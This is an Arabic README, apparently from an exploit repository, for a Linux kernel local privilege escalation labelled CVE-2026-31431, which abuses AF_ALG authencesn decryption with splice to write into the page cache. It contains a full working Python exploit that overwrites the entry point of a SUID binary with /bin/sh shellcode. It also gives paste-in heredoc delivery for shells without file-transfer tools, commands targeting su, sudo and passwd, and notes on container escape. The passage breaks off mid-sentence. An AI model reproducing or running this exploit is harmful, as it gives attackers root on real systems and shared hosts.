
# CVE-2026-31431 فشل النسخ — استغلال تصعيد الامتيازات المحلي الشامل. إزاحة ELF ديناميكية + استبدال كامل للملف الثنائي، متوافق مع Python 2/3 مع خيار احتياطي لـ ctypes splice
كتابة عشوائية 4 بايت في صفحة الكاش الخاصة بنواة لينكس → تصعيد الصلاحيات المحلي
طرق استغلال متعددة: الكتابة فوق نقطة دخول ELF الديناميكية، استبدال ثنائي كامل، متوافق مع Python 3.x مع بديل ctypes لـ splice.
CVE-2026-31431 هي ثغرة في نظام AF_ALG الفرعي للتشفير في نواة لينكس. من خلال إساءة استخدام splice() + فك التشفير الموضعي authencesn، يمكن لمستخدم غير مميز كتابة 4 بايت في إزاحة عشوائية في صفحة الكاش الخاصة بالنواة — نفس الكاش المستخدم لجميع الذاكرة المدعومة بالملفات.
هذا يعني:
توفر هذه المستودعات ثلاث أدوات تستخدم نفس بدائية نسخ الفشل AF_ALG:
| نقطة الدخول الديناميكية | استبدال ثنائي كامل | فحص الثغرة | |
|---|---|---|---|
| الملف | exploit.py | poc_compatible.py | check_cve.sh |
| الاستراتيجية | يكتب فوق نقطة دخول ELF بـ shellcode | يستبدل الثنائي بالكامل من الإزاحة 0 | يختبر ما إذا كان الهدف عرضة للثغرة |
| الهدف | أي ثنائي SUID x86_64 | أي ثنائي (SUID أو لا) | غير قابل للتطبيق |
| Python | 3.x (جميع الإصدارات) | 2 / 3 | Bash |
| الحمولة | 36 بايت shellcode | ELF كامل مضغوط بـ zlib | غير قابل للتطبيق |
| المؤلف | هذا العمل | h4ppy7ree | h4ppy7ree |
نقطة الدخول الديناميكية — يحلل رأس ELF في وقت التشغيل لحساب إزاحة ملف نقطة الدخول (p_offset + (e_entry - p_vaddr))، ثم يكتب كعب shellcode صغير. لا إزاحات ثابتة — سكربت واحد يعمل على أي ثنائي SUID x86_64 بغض النظر عن التوزيعة أو الإصدار.
استبدال ثنائي كامل — يكتب فوق الهدف من الإزاحة 0 بحمولة ELF كاملة مبنية مسبقًا (مضغوطة بـ zlib ومدمجة في السكربت). يمكن استهداف ثنائيات غير SUID تُنفَّذ بواسطة عمليات مميزة (مهام cron، خدمات systemd، kube-proxy). يعمل مع Python 2.
فحص الثغرة — يختبر ما إذا كان النظام الهدف يحتوي على AF_ALG و authencesn و algif_aead قبل تشغيل الاستغلال.
exploit.py؛ Python 2 مدعوم عبر poc_compatible.py)/usr/bin/su، /usr/bin/sudo، إلخ.)# إنشاء حاوية اختبار بمستخدم غير مميز
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
ثم داخل الحاوية كمستخدم testuser:
# قبل: setuid(0) يفشل لأن uid الحقيقي ليس 0
/usr/local/bin/verify
# uid=1000 euid=0
# (يخرج بشكل طبيعي، بدون root)
# تشغيل الاستغلال
python3 exploit.py /usr/local/bin/verify
# بعد: نقطة الدخول مستبدلة، shellcode يحصل على root
# uid=0(root) gid=1000(testuser)
في السيناريوهات الحقيقية غالبًا ما يكون لديك فقط شل خام — لا scp، لا curl، لا wget. تستخدم هذه الطريقة cat heredoc لكتابة الاستغلال مباشرة في الطرفية:
# الخيار 1: تشغيل سكربت الشل
sh exploit-one-liner.sh /usr/local/bin/verify
# الخيار 2: لصق مباشرة في الطرفية (انسخ الكتلة بأكملها)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
لماذا هذا مهم: غالبًا ما تفتقر بيئات الحاويات إلى أدوات نقل الملفات (
scp،curl،wget). تتطلب طريقة heredoc فقطcatوpython3— متوفرة في كل مكان.
يمكنك استبدال /usr/local/bin/verify بأي ثنائي SUID-root:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ تحذير: استهداف ثنائيات SUID النظامية (مثل
/usr/bin/su) يؤثر على جميع المستخدمين على النظام. يصبح الثنائي غير قابل للاستخدام حتى يتم مسح صفحة الكاش. على الجهاز المضيف، أي مستخدم يشغّلsuسيحصل على شل root.على نظام مشترك/إنتاجي، هذا ملحوظ فورًا —
suسيتعطل أو يطلق شلات غير متوقعة للجميع. استخدمverify.cللاختبار الآمن.
يعدّل الاستغلال فقط صفحة الكاش (الذاكرة)، وليس القرص. خيارات الاسترداد:
| الطريقة | المكان | الأمر |
|---|---|---|
| إسقاط صفحة الكاش | المضيف (root) | echo 3 > /proc/sys/vm/drop_caches |
| إعادة التشغيل | في أي مكان | reboot — صفحة الكاش متطايرة |
| تدمير الحاوية | في أي مكان | docker rm — يتم تحرير صفحة الكاش مع الحاوية |
# على المضيف (بعد اختبار الحاوية):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# التحقق من الاسترداد:
xxd -l 8 /usr/bin/su
# يجب أن يُظهر: 7f45 4c46 (.ELF)
ملاحظة: داخل حاوية افتراضية (غير مميزة)، يفشل
echo 3 > /proc/sys/vm/drop_cachesمعRead-only file system— يتطلب هذا وصولًا إلى المضيف أو تدمير الحاوية.
| المتجه | يعمل؟ | التفاصيل |
|---|---|---|
| LPE (مستخدم محلي → root) | ✅ نعم | الكتابة فوق نقطة دخول ثنائي SUID |
| الهروب من الحاوية (افتراضي) | ❌ لا | عزل صفحة الكاش لكل نقطة تثبيت في overlayfs |
| الهروب من الحاوية (كتابة من المضيف) | ✅ نعم | الكتابة عبر /proc/PID/root/ من المضيف |
| عبر الحاويات (كتابة من المضيف) | ✅ نعم | نفس inode → صفحة كاش مشتركة للطبقة السفلية |
خوارزمية authencesn AEAD في النواة بها خطأ في مسار فك التشفير الموضعي: